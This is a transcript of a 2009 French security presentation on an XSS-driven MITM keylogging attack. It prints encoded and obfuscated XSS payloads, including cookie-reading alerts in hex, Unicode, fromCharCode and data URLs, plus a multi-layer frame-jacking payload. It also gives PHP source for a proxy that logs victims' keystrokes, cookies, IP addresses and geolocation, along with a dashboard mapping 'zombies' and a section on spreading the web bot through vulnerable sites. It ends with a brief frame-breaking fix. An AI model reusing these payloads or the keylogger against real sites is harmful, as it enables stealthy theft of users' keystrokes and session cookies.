All browsers MITM Keylogging on remote

Download Report

Transcript All browsers MITM Keylogging on remote

All browsers MITM Keylogging on remote

14/08/2009 Présenté par Thibaut.L

Disclamer

• Aider à corriger • Mieux connaitre les limites • Démystification des techniques utilisées • Just for the PoC

Page blanche

Sommaire p1

1.

• • • • • • Conaissances requises Javascript / AJAX PHP /Mysql , PHP cURL MYSQL HTML GeoIP Maxmind Google Earth API

Sommaire p2

2.

3.

4.

5.

6.

Rappel sur les XSS Dom XSS ou level 0 xss Le paradoxe du compresseur sans pertes Notions de formes de codage ou d’encodage des caractères Nouveaux vecteurs, enjeux du aux xss

Sommaire p3

7.

8.

9.

10.

11.

12.

13.

14.

Scénario des possibilités d'attaque #1 Exploitation grâce à php/Mysql (création d'un proxy php MITM muni d'un keylogger) Scénario des possibilités d'attaque # 2 intégration du geoip a l'api GE, intégration du tout au proxy php MITM Les moyens de répandre le Worm /web bot de manière furtive sur les sites vulnérables Une seule ligne pour tout corriger (le frame breaking).

Visions de correction à long terme.

liens annexes, remerciements et fin.

1. Conaissances requises : JS

Déclarer une fonction } function Nom_De_La_Fonction(argument1, argument2, ...) { liste d'instructions

1. Conaissances requises : JS

Les évènements :

Gestionnaire d’évènements : onEvenement="Action_Javascript_ou_Fonction(); " Lorsqu'il est utilisé dans un lien hypertexte : Lien

1. Conaissances requises : JS

Evènements

Focus

(onFocus) Se produit lorsque l'utilisateur donne le focus à un élément, c'est-à-dire que cet élément est sélectionné comme étant l'élément actif.

keypress

(onKeypress) Se produit lorsque l'utilisateur relâche une touche de son clavier préalablement enfoncée.

Cet événement n'est supporté que par les versions de Javascript 1.2 et supérieures.

Load

(onLoad) Se produit lorsque le navigateur de l'utilisateur charge la page en cours.

Unload

(onUnload) Se produit lorsque le navigateur de l'utilisateur quitte la page en cours.

Submit

(onSubmit) Se produit lorsque l'utilisateur clique sur le bouton de soumission d'un formulaire (le bouton qui permet d'envoyer le formulaire).

MouseOver

(onMouseOver) Se produit lorsque l'utilisateur positionne le curseur de la souris au dessus d'un élément.

1. Conaissances requises : JS

Evénements et objets concernés :

Focus

Button, Checkbox, FileUpload, Layer, Password, Radio, Reset, Select, Submit, Text, TextArea, window Keypress

load

Document, Image, Link, TextArea Image, Layer, window unload

submit

Window Form mouseover

Area, Layer, Link

1. Conaissances requises : JS

L’objet image

seconde = new Image(); seconde.src = "bleu.gif"; document.images[0].src = seconde.src;;

1. Conaissances requises : JS

Les objets et les méthodes : Document

L'objet document se réfère au contenu affiché dans la fenêtre du navigateur. Dans la hiérarchie objet de JavaScript il se trouve sous l'objet window. L'objet document contient une série de propriétés et méthodes qui lui sont propres.

Méthodes classiques d’écriture : write() (écrire dans la fenêtre du document) writeln() (écrire ligne par ligne) Par exemple :

1. Conaissances requises : JS

Syntaxe : eval(String chaine)

La fonction eval() :

Description Evalue et exécute le code JavaScripts contenu dans une chaine.

Cette fonction est très utile pour générer du code JavaScripts dans une chaîne de caractères et l'exécuter nous aborderons l’utilité du codage /encodage plus tard dans cette présentation.

function createXhrObject() { if (window.XMLHttpRequest) return new XMLHttpRequest();

1. Conaissances requises : AJAX

L’objet XML Http

if (window.ActiveXObject) { var names = [ "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP" ]; for(var i in names) { try{ return new ActiveXObject(names[i]); } catch(e){} } } window.alert("Votre navigateur ne prend pas en charge l'objet XMLHTTPRequest."); return null; // non supporté } xhr = createXhrObject();

1. Conaissances requises : AJAX

Same Origin Policy

Evite qu'un document ou un code chargé depuis une "origine" donnée soit remplacé par un document d'une "origine" différente.

1. Conaissances requises : PHP Mysql

fopen fwrite et fclose

fopen Ouvre un fichier ou une URL - (PHP 4, PHP 5)

Description resource fopen ( string $filename , string $mode [, bool $use_include_path [, resource $context ]] )

fopen() crée une ressource nommée, spécifiée par le paramètre filename , sous la forme d'un flux.

$handle = fopen("c:\\data\\info.php", "a+"); ?>

1. Conaissances requises : PHP

fwrite et fclose

fwrite

Écrit un fichier en mode binaire

Description

int fwrite ( resource $handle , string $string [, int $length ] ) fwrite() écrit le contenu de la chaîne string dans le fichier pointé par handle .

$fp = fopen('info.php', 'r'); fwrite($fp, '1'); fwrite($fp, '23'); fclose($fp); //Le contenu de 'data.txt' est maintenant 123 //et non 23 !

?> fclose

fclose ferme le fichier handle .

Description bool fclose ( resource handle )

1. Conaissances requises : PHP Mysql

Echo à partir d’une base de donnée

$db_host = 'localhost'; $db_username = 'root'; $db_password = ''; $db_name = 'hija'; $table_name = 'ck'; mysql_connect("localhost", "root", ""); // Connexion à MySQL mysql_select_db("hija"); // Sélection de la base $reponse = mysql_query("SELECT * FROM ck"); // Requête SQL // On fait une boucle pour lister tout ce que contient la table while ($donnees = mysql_fetch_array($reponse) ) { ?> IP:
< ?php

} mysql_close(); // Déconnexion de MySQL ?>

1.Conaissances requises : PHP cURL

L’extension cURL

La librairie cURL permet de communiquer facilement avec de nombreux types de serveurs applicatifs en parlant le même langage que celui-ci.

ressource curl_init([chaîne url]) :

Initialise une nouvelle session cURL. Son seul paramètre url peut être omis mais il ne faudra pas oublier de l'indiquer par la suite avec la fonction curl_setopt, option CURLOPT_URL. Cette fonction renverra une ressource exploitable par les autres fonctions curl ou FALSE en cas d'erreur.

• • •

booléen curl_setopt(ressource curl, entier option, variable valeur) :

Définit le comportement de la session. Elle renvoie TRUE en cas de succès et FALSE si une erreur est rencontrée. Ces paramètres sont les suivants : curl : la session cURL (résultat de l'appel à curl_init) option : le nom de l'option sous la forme d'une constante, celles-ci commencent par CURLOPT ,d’ailleurs je vous conseil de lire le manuel des options.

valeur : la valeur à donner, son type (numérique, booléen, etc) est variable et est propre à l'option utilisée

1.Conaissances requises : PHP cURL

L’extension cURL

variable curl_exec(ressource curl)

: Exécute la session cURL représentée par curl (résultat de la fonction curl_init). Toutes les informations nécessaires doivent être fournies au préalable avec la fonction curl_setopt. Elle retourne FALSE si une erreur survient et dans le cas contraire une valeur qui dépend de la valeur de l'option CURLOPT_RETURNTRANSFER. En effet, si cette option est fixée à FALSE (valeur par défaut), curl_exec renvoie alors TRUE sinon le résultat de la requête (du texte).

rien curl_close(ressource curl) :

Met fin à la session cURL désignée par le paramètre curl (résultat de la fonction curl_init) et libère les ressources allouées.

1.Conaissances requises : PHP cURL

L’extension cURL

1.Conaissances requises : PHP cURL

Contournement de la politique de même origine

//spoofing referer $referer= "http://foobar/" // spoofing FireFox 2.0

$useragent="Mozilla/5.0 "; $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, “http://foo/”); curl_setopt ($ch, CURLOPT_HEADER, 0);

(SOP)

curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_REFERER, $referer); curl_exec ($ch); curl_close ($ch); ?>

Script compressé avec le compresseur de Dean Edwards

5. Notions de formes de codage ou d’encodage des caractères

ASCII Character Chart with Decimal, Binary and Hexadecimal Conversions P1

5. Notions de formes de codage ou d’encodage des caractères

ASCII Character Chart with Decimal, Binary and Hexadecimal Conversions P2

5. Notions de formes de codage ou d’encodage des caractères

ASCII Character Chart with Decimal, Binary and Hexadecimal Conversions P3

5. Notions de formes de codage ou d’encodage des caractères

ASCII Character Chart with Decimal, Binary and Hexadecimal Conversions P4

5. Notions de formes de codage ou d’encodage des caractères Conversion et encodages :

Loopback IP

http://127.0.0.1

Dword Address:

http://2130706433

Addresse hexadecimal:

http://0x7f.0x00.0x00.0x01

Addresse octale: http://0177.0000.0000.0001

5. Notions de formes de codage ou d’encodage des caractères

Conversion et encodages

Utilisation du protocole javascript

Document cookie avec alert javascript : Javascript:alert(document.cookie +' frhack’) Document cookie avec alert javascript encodé en hexadécimal : Javascript:document.write(unescape("\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x 72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x20\x2b\x27\x2 0\x66\x72\x68\x61\x63\x6b\x27\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e")) Document cookie avec alert JavaScript encodé en Unicode: Javascript:document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u006 1\u006c\u0065\u0072\u0074\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074 \u002e\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u002b\u0027\u0020\u0066\u0072\ u0068\u0061\u0063\u006b\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u 0074\u003e') Document cookie avec alert JavaScript encodé en fromcharcode javascript:document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 32, 43, 39, 32, 102, 114, 104, 97, 99, 107, 39, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62))

5. Notions de formes de codage ou d’encodage des caractères

Utilisation du protocole Data URL (Firefox & Google Chrome) data:[][;encoding], Utf8 data url data:text/html;charset=utf-8,%3cscript%3ealert(1);history.back();%3c/script%3e Base64 data url data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTtoaXN0b3J5LmJhY2soKTs8L3NjcmlwdD4= UTF7 data url data:text/html;charset=utf-7,+ADw-script+AD4-alert(1)+ADs-history.back()+ADsAPA-/script+AD4 UTF-16 in BASE64/UTF-7/UTF-8 mixture data:text/html;charset=utf-7,+ADwAcwBjAHIAaQBwAHQAPg+-alert(1);history.back()+ADs- UTF-16 in BASE64 data:text/html;charset=utf 7,+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAOwBoAGkAcwB0AG8AcgB5A C4AYgBhAGMAawAoACkAOwA8AC8AcwBjAHIAaQBwAHQAPg==+ UTF-7 in BASE64 data:text/html;charset=utf-7;base64,K0FEdy1zY3JpcHQrQUQ0LWFsZXJ0KDEpK0FEcy1oaXN0b3J5LmJhY2soKSt BRHNBUEEtL3NjcmlwdCtBRDQt obfuscated UTF-7 in BASE64 data:text/html;charset=utf-7;base64,K0FEdy1zY3JpcHQrQUQ0LWFsZXJ0KDEpK0FEcy1oaXN0b3J5LmJhY2soKSt BRHNBUEEtL3NjcmlwdCtBRDQt

5. Notions de formes de codage ou d’encodage des caractères

Utilisation du protocole Data URL (Firefox & Google Chrome) data:[][;encoding], Image svg+xml in base64 data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0 cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJ zaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9In RleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg== Data URL mediatype et encoding fun : data:text/html;damn its malicious!, data url concatenation data:text/html;charset=iso-8859-15,data:text/html;charset=iso-8859 6,data:text/html;charset=iso 8859,data:text/html;charset=1337,data:text/html;charset=wo ot,data:text/html;damn its malicious!, Moyens d’exploitation des protocoles data et javascript dans l’URL grâce aux attributs HTML : test etc...

6. Nouveaux vecteurs, enjeux du aux xss

Remasterisation des exploit web (HTML et JS) grâce aux encodages /compression multiples : Exemple IE / Firefox remote DoS (sur les balise à effets visuels) Balise HTML: frhack 1 er encodage escape 2 ème couche compression

6. Nouveaux vecteurs, enjeux du aux xss

Remasterisation des exploit web (HTML et JS) grace aux encodages /compression multiples : Exemple IE / Firefox remote DoS (sur les balise a effets visuels) p2 3 ème couche encodage Unicode document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0065\u0076\u0061\u006c\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u 006f\u006e\u0028\u0070\u002c\u0061\u002c\u0063\u002c\u006b\u002c\u0065\u002c\u0064\u0029\u007b\u0065\u003d\u0066\u0075\u006e\u0063\u 0074\u0069\u006f\u006e\u0028\u0063\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u007d\u003b\u0069\u0066\u0028\u0021\u 0027\u0027\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005e\u002f\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u 0029\u007b\u0077\u0068\u0069\u006c\u0065\u0028\u0063\u002d\u002d\u0029\u007b\u0064\u005b\u0063\u005d\u003d\u006b\u005b\u0063\u005d\ u007c\u007c\u0063\u007d\u006b\u003d\u005b\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0065\u0029\u007b\u0072\u0065\u0074 \u0075\u0072\u006e\u0020\u0064\u005b\u0065\u005d\u007d\u005d\u003b\u0065\u003d\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u002 8\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0027\u005c\u005c\u0077\u002b\u0027\u007d\u003b\u0063\u003d\u0031\u007d\u003b\u00 77\u0068\u0069\u006c\u0065\u0028\u0063\u002d\u002d\u0029\u007b\u0069\u0066\u0028\u006b\u005b\u0063\u005d\u0029\u007b\u0070\u003d\u0 070\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u006e\u0065\u0077\u0020\u0052\u0065\u0067\u0045\u0078\u0070\u0028\u0027\u0 05c\u005c\u0062\u0027\u002b\u0065\u0028\u0063\u0029\u002b\u0027\u005c\u005c\u0062\u0027\u002c\u0027\u0067\u0027\u0029\u002c\u006b\u 005b\u0063\u005d\u0029\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0070\u007d\u0028\u0027\u0032\u002e\u0031\u0028\u0030\ u0028\u0022\u0025\u0033\u0025\u0034\u0025\u0036\u0025\u0035\u0025\u0037\u0022\u0029\u0029\u003b\u0027\u002c\u0038\u002c\u0038\u002c\ u0027\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065\u007c\u0077\u0072\u0069\u0074\u0065\u007c\u0064\u006f\u0063\u0075\u006d\u0065\ u006e\u0074\u007c\u0033\u0043\u006d\u0061\u0072\u0071\u0075\u0065\u0065\u007c\u0033\u0045\u0066\u0072\u0068\u0061\u0063\u006b\u007c \u0032\u0046\u006d\u0061\u0072\u0071\u0075\u0065\u0065\u007c\u0033\u0043\u007c\u0033\u0045\u0027\u002e\u0073\u0070\u006c\u0069\u0074 \u0028\u0027\u007c\u0027\u0029\u002c\u0030\u002c\u007b\u007d\u0029\u0029\u000a\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e ')

6. Nouveaux vecteurs, enjeux du aux xss

6. Nouveaux vecteurs, enjeux du aux xss

Le retour du frame jacking : Simple Frame Jacking Proof of Concept: Simple Iframe Jacking Proof of Concept :

6. Nouveaux vecteurs, enjeux du aux xss

URL cache poisoning Etape 1 - frame jacking: Etape 2 - encoding (escape) document.write(unescape("%3Cframeset%20rows%3D%22100%25%22%3E%0A% 3C%21--%20wtf%20%3F%3F%20frame%20jacking%20%3F%20- %3E%0A%3Cframe%20noresize%3D%22noresize%22%20frameborder%3D%220% 22%20title%3D%22poc%20frame%20jacking%22%20src%3D%22http%3A%2F%2F frhack.org%2F%22%3E%0A%3C%21- %20its%20time%20to%20bypass%20filters%20- %3E%0A%3C%2Fframe%3E%0A%3C%2Fframeset%3E%0A"));

6. Nouveaux vecteurs, enjeux du aux xss

URL cache poisoning Etape 3 - compression: eval(function(p,a,c,k,e,d){e=function(c){return(c35 ?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c- ){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('j.i(k("%l%m%3%h%g%2%1%0%5%7- %c%4%6%6%9%a%4%6%4- %1%0%d%e%3%f%2%n%3%o%2%x%3%w%9%a%2%A%3%u%q%8%p.r%8%2%1 %0%5%7--%B%t%s%y%b%4- %1%0%5%z%1%0%5%v%1%0"));',38,38,'0A|3E|22|3D|20|3C|3F|21|2F|20frame|20ja cking|20filters|20wtf|3Cframe|20noresize|22noresize|25|22100|write|document|une scape|3Cframeset|20rows|20frameborder|220|2Ffrhack|3A|org|20to|20time|22http| 2Fframeset|22poc|20title|20bypass|2Fframe|20src|20its'.split('|'),0,{}))

6. Nouveaux vecteurs, enjeux du aux xss

URL cache poisoning Etape 4 – re-encoding (Unicode) document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0065\u0076\u0061\u006c\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006 e\u0028\u0070\u002c\u0061\u002c\u0063\u002c\u006b\u002c\u0065\u002c\u0064\u0029\u007b\u0065\u003d\u0066\u0075\u006e\u0063\u0074\u0069\u006f\ u006e\u0028\u0063\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0028\u0063\u003c\u0061\u003f\u0027\u0027\u003a\u0065\u0028\u0070\u0061\u0 072\u0073\u0065\u0049\u006e\u0074\u0028\u0063\u002f\u0061\u0029\u0029\u0029\u002b\u0028\u0028\u0063\u003d\u0063\u0025\u0061\u0029\u003e\u003 3\u0035\u003f\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065\u0028\u0063\u 002b\u0032\u0039\u0029\u003a\u0063\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0033\u0036\u0029\u0029\u007d\u003b\u0069\u00 66\u0028\u0021\u0027\u0027\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005e\u002f\u002c\u0053\u0074\u0072\u0069\u006e\u0067\ u0029\u0029\u007b\u0077\u0068\u0069\u006c\u0065\u0028\u0063\u002d\u002d\u0029\u007b\u0064\u005b\u0065\u0028\u0063\u0029\u005d\u003d\u006b\u 005b\u0063\u005d\u007c\u007c\u0065\u0028\u0063\u0029\u007d\u006b\u003d\u005b\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0065\u0 029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0064\u005b\u0065\u005d\u007d\u005d\u003b\u0065\u003d\u0066\u0075\u006e\u0063\u0074\u00 69\u006f\u006e\u0028\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0027\u005c\u005c\u0077\u002b\u0027\u007d\u003b\u0063\u003d\u0031\u007 d\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0063\u002d\u002d\u0029\u007b\u0069\u0066\u0028\u006b\u005b\u0063\u005d\u0029\u007b\u0070\u003d \u0070\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u006e\u0065\u0077\u0020\u0052\u0065\u0067\u0045\u0078\u0070\u0028\u0027\u005c\u 005c\u0062\u0027\u002b\u0065\u0028\u0063\u0029\u002b\u0027\u005c\u005c\u0062\u0027\u002c\u0027\u0067\u0027\u0029\u002c\u006b\u005b\u0063\u0 05d\u0029\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0070\u007d\u0028\u0027\u006a\u002e\u0069\u0028\u006b\u0028\u0022\u0025\u00 6c\u0025\u006d\u0025\u0033\u0025\u0068\u0025\u0067\u0025\u0032\u0025\u0031\u0025\u0030\u0025\u0035\u0025\u0037\u002d\u002d\u0025\u0063\u002 5\u0034\u0025\u0036\u0025\u0036\u0025\u0039\u0025\u0061\u0025\u0034\u0025\u0036\u0025\u0034\u002d\u002d\u0025\u0031\u0025\u0030\u0025\u0064\ u0025\u0065\u0025\u0033\u0025\u0066\u0025\u0032\u0025\u006e\u0025\u0033\u0025\u006f\u0025\u0032\u0025\u0078\u0025\u0033\u0025\u0077\u0025\u0 039\u0025\u0061\u0025\u0032\u0025\u0041\u0025\u0033\u0025\u0075\u0025\u0071\u0025\u0038\u0025\u0070\u002e\u0072\u0025\u0038\u0025\u0032\u00 25\u0031\u0025\u0030\u0025\u0035\u0025\u0037\u002d\u002d\u0025\u0042\u0025\u0074\u0025\u0073\u0025\u0079\u0025\u0062\u0025\u0034\u002d\u002 d\u0025\u0031\u0025\u0030\u0025\u0035\u0025\u007a\u0025\u0031\u0025\u0030\u0025\u0035\u0025\u0076\u0025\u0031\u0025\u0030\u0022\u0029\u0029\ u003b\u0027\u002c\u0033\u0038\u002c\u0033\u0038\u002c\u0027\u0030\u0041\u007c\u0033\u0045\u007c\u0032\u0032\u007c\u0033\u0044\u007c\u0032\u 0030\u007c\u0033\u0043\u007c\u0033\u0046\u007c\u0032\u0031\u007c\u0032\u0046\u007c\u0032\u0030\u0066\u0072\u0061\u006d\u0065\u007c\u0032\u0 030\u006a\u0061\u0063\u006b\u0069\u006e\u0067\u007c\u0032\u0030\u0066\u0069\u006c\u0074\u0065\u0072\u0073\u007c\u0032\u0030\u0077\u0074\u00 66\u007c\u0033\u0043\u0066\u0072\u0061\u006d\u0065\u007c\u0032\u0030\u006e\u006f\u0072\u0065\u0073\u0069\u007a\u0065\u007c\u0032\u0032\u006e \u006f\u0072\u0065\u0073\u0069\u007a\u0065\u007c\u0032\u0035\u007c\u0032\u0032\u0031\u0030\u0030\u007c\u0077\u0072\u0069\u0074\u0065\u007c\u 0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u007c\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065\u007c\u0033\u0043\u0066\u0072\u0061\u00 6d\u0065\u0073\u0065\u0074\u007c\u0032\u0030\u0072\u006f\u0077\u0073\u007c\u0032\u0030\u0066\u0072\u0061\u006d\u0065\u0062\u006f\u0072\u0064\ u0065\u0072\u007c\u0032\u0032\u0030\u007c\u0032\u0046\u0066\u0072\u0068\u0061\u0063\u006b\u007c\u0033\u0041\u007c\u006f\u0072\u0067\u007c\u0 032\u0030\u0074\u006f\u007c\u0032\u0030\u0074\u0069\u006d\u0065\u007c\u0032\u0032\u0068\u0074\u0074\u0070\u007c\u0032\u0046\u0066\u0072\u006 1\u006d\u0065\u0073\u0065\u0074\u007c\u0032\u0032\u0070\u006f\u0063\u007c\u0032\u0030\u0074\u0069\u0074\u006c\u0065\u007c\u0032\u0030\u0062\ u0079\u0070\u0061\u0073\u0073\u007c\u0032\u0046\u0066\u0072\u0061\u006d\u0065\u007c\u0032\u0030\u0073\u0072\u0063\u007c\u0032\u0030\u0069\u 0074\u0073\u0027\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u007c\u0027\u0029\u002c\u0030\u002c\u007b\u007d\u0029\u0029\u000a\u003c\u0 02f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')

6. Nouveaux vecteurs, enjeux du aux xss

URL cache poisoning Conséquence de l’attaque :

Disparition ou obfuscation du code source

Transformation de xss temporaire en xss persistante à l’aide d’un proxy MITM

URL spoofing permettant d’usurper l’adresse du site grâce à une frame

Compatible avec le protocole javascript donc sur tous les navigateurs modernes

énormément de variante sur l’obfuscation du code sont possible (plus de 100 en comptant les 65charset)

Requète classique:

7. Scénario des possibilitées d'attaque #1

7. Scénario des possibilités d'attaque #1

La victime clique sur le lien malicieux

7. Scénario des possibilités d'attaque #1

Après que la victime clique sur le lien malicieux

8.Exploitation grâce à php/Mysql (création d'un proxy php MITM muni d'un keylogger)

Fichier ./mik.php p1/3

########## recupération des variables d'initialisation require 'includes/init.php'; //fonction protection injection sql function mysql_secu($variable) { $variable2 = utf8_decode($variable); if (get_magic_quotes_gpc()) { $variable2 = stripslashes($variable2); } $variable2 = mysql_real_escape_string($variable2); $variable2 = utf8_encode($variable2); return $variable2; } //Début : Var connection pour la bdd $db_host = 'localhost'; $db_username = 'root'; $db_password = ''; $db_name = 'hija'; $table_name = 'ck'; //Fin : Var connection pour la bdd

8.Exploitation grâce à php/Mysql (création d'un proxy php MITM muni

Fichier ./mik.php p2/3

d'un keylogger)

//Début : connexion à la base et sa séléction mysql_connect($db_host,$db_username,$db_password) or die ('Impossible de se connecter à la base de donnée :'.mysql_error()); mysql_select_db($db_name) or die ('Impossible d\'ouvrir la base '.$db_name.' : '.mysql_error()); //Fin : connexion à la base et sa séléction //Début : récup des données $data = mysql_secu($_GET['keylog']); $time = date("Y-m-d G:i:s A"); $ip = mysql_secu($userIP); $lat = mysql_secu($_GET['lat']); $longi = mysql_secu($_GET['longi']); $country = mysql_secu($_GET['country']); $region = mysql_secu($_GET['region']); $referer = mysql_secu($_SERVER['HTTP_REFERER']); $agent = mysql_secu($_SERVER['HTTP_USER_AGENT']); $request_uri = mysql_secu($_SERVER['REQUEST_URI']); $cookie = mysql_secu(serialize($_COOKIE)); $url = mysql_secu($url); //Fin : récupération des données

8.Exploitation grâce à php/Mysql (création d'un proxy php MITM muni d'un keylogger)

Fichier ./mik.php p3/3 //requète d'insertion $r1 = mysql_query('SELECT data FROM '.$table_name.' WHERE ip=\''.$ip.'\''); while ($champs = mysql_fetch_assoc($r1)) //Utilisation d'une boucle pour afficher les donnée de chaque champs { $data2 = $champs['data']; } if ($data2 != '' or $data2 != NULL) { $requete = 'UPDATE '.$table_name.' SET data=\''.$data2.$data.'\' WHERE ip=\''.$ip.'\''; $requete = mysql_query($requete) or die ('Impossible de modifier : '.mysql_error()); } else { $requete = 'INSERT INTO '.$table_name.'(ip, data, time, lat, longi, country, region, referer, agent, request_uri, cookie, url) VALUES(\''.$ip.'\', \''.$data.'\',\''.$time.'\', \''.$lat.'\', \''.$longi.'\' ,\''.$country.'\',\''.$region.'\',\''.$referer.'\', \''.$agent.'\', \''.$request_uri.'\', \''.$cookie.'\', \''.$url.'\')'; $requete = mysql_query($requete) or die ('Impossible d\'ajouter : '.mysql_error()); } ?>

8.Exploitation grâce à php/Mysql (création d'un proxy php MITM muni d'un keylogger)

Fichier ./sopbypass/501337/framedForm.inc.php p3/3

############################################## ## Contournement SOP, ############################################## // Define variables for use in form $return = urlencode('browse.php?' . $_SERVER['QUERY_STRING']); ?>

8.Exploitation grâce à php/Mysql (création d'un proxy php MITM muni d'un keylogger)

Résultat de la navigation avec le proxy ./browse.php?u=http://google.fr

9. Scénario des possibilitées d'attaque #2

All browser mitm keylogging on remote attack scenario #2 (avec geoip)

All browser mitm keylogging on remote attack scenario #2 échanges entre fichiers

9. Scénario des possibilitées d'attaque #2

10. integration du geoip a l'api GE, integration du tout au proxy php MITM

Fichier ./result.php p1/3

// Connexion à MySQL mysql_connect("localhost", "root", ""); // Sélection de la base mysql_select_db("hija"); // Requête SQL $reponse = mysql_query("SELECT * FROM ck"); //selection des collones remplies mysql_query("SELECT * FROM ck WHERE 1"); // On fait une boucle pour lister tout ce que contient la table : while ($donnees = mysql_fetch_array($reponse) ) {

10. integration du geoip a l'api GE, integration du tout au

Fichier ./result.php p2/3

proxy php MITM

//ecriture du fichier kml contenant les données de la base $file = fopen('zombies.kml' , 'a'); $kml = array(''); $kml[] = ''; $kml[] = ' '; $kml[] = ' Zombie ID :' .$donnees["ip"].''; $kml[] = '1'; $kml[] = ' '; $kml[] = ' Zombie ID :'.$donnees["ip"].''; $kml[] = '
The Hijacker results :
IP:'.htmlentities($donnees["ip"]).'
keylogg:'.htmlentities($donnee s["data"]).'
Time :'.htmlentities($donnees["time"]).'
Latitude:'.htmlentities($donnees["lat"]).'
Longi tude :'.htmlentities($donnees["longi"]).'
Pays :'.$donnees["country"].'
Region :'.$donnees["region"].'

Referant :'.htmlentities($donnees["referer"]).'
User agent :'.htmlentities($donnees["agent"]).'
SRC :'.htmlentities($donnees["request_uri"]).'


Cookie :'.htmlentities($donnees["cookie"]).'
URl :'.htmlentities($donnees["url"]).'
The Hijacker by p3lo ]]>
';

10. integration du geoip a l'api GE, integration du tout au proxy php MITM

Fichier ./result.php p3/3 $kml[] = ' #exampleBalloonStyle'; $kml[] = ' '; $kml[] = ''.$donnees["longi"].','.$donnees["lat"].',0'; $kml[] = ''; $kml[] = ''; // Fin du fichier XML $kml[] = ' '; $kml[] = ''; $kmlOutput = join("\n", $kml); fwrite($file,$kmlOutput); //ferme la requète d’écriture fclose($file); //fin de la boucle } // Déconnexion de MySQL mysql_close();?>

10. integration du geoip a l'api GE, integration du tout au

Fichier ./Zombies.html p1/4

proxy php MITM

The HiJacker alpha version

The Hijacker alpha version

10. integration du geoip a l'api GE, integration du tout au

Fichier ./Zombies.html p4/4

proxy php MITM

Supprimer zombies.kml Régénerez le fichier zombies.kml Telechargez zombies.kml Rafraichir la page

10. integration du geoip a l'api GE, integration du tout au proxy php MITM

Fichier ./unlink.php

//Supprimer un fichier unlink("zombies.kml"); ?>

10. integration du geoip a l'api GE, integration du tout au proxy php MITM

Lecture du fichier zombies.kml sur Google earth api

11.Les moyens de répandre le web bot de maniere furtive sur les sites vulnerable

• • Compatible avec les XSS de tout types, frame injection, html injection, css injection, redirect.

Injection avec le protocole data et javascript a travers des attributs HTML (SRC) ou des evenements HTML , javascript.(voir attack vector list) Dans le cas de l’injection de frame:

http://victim.foo/vuln.php?frame=javascript: [ URL CACHE POISONING PAYLOAD ]

Dans une xss:

http://victim.foo/vuln.php?param=‘>http://victim.foo/ href=’’javascript:[ URL CACHE POISONING PAYLOAD …

12.Une seule ligne pour tout corriger (le frame breaking).

FRAME BREAKER Permet de rediriger la page framée a la source même de l’iframe /frame

13.Visions de correction à long terme.

• Restriction des protocoles javascript et data par des filtres (noscript, adblock etc..) inséré nativement dans le navigateur.

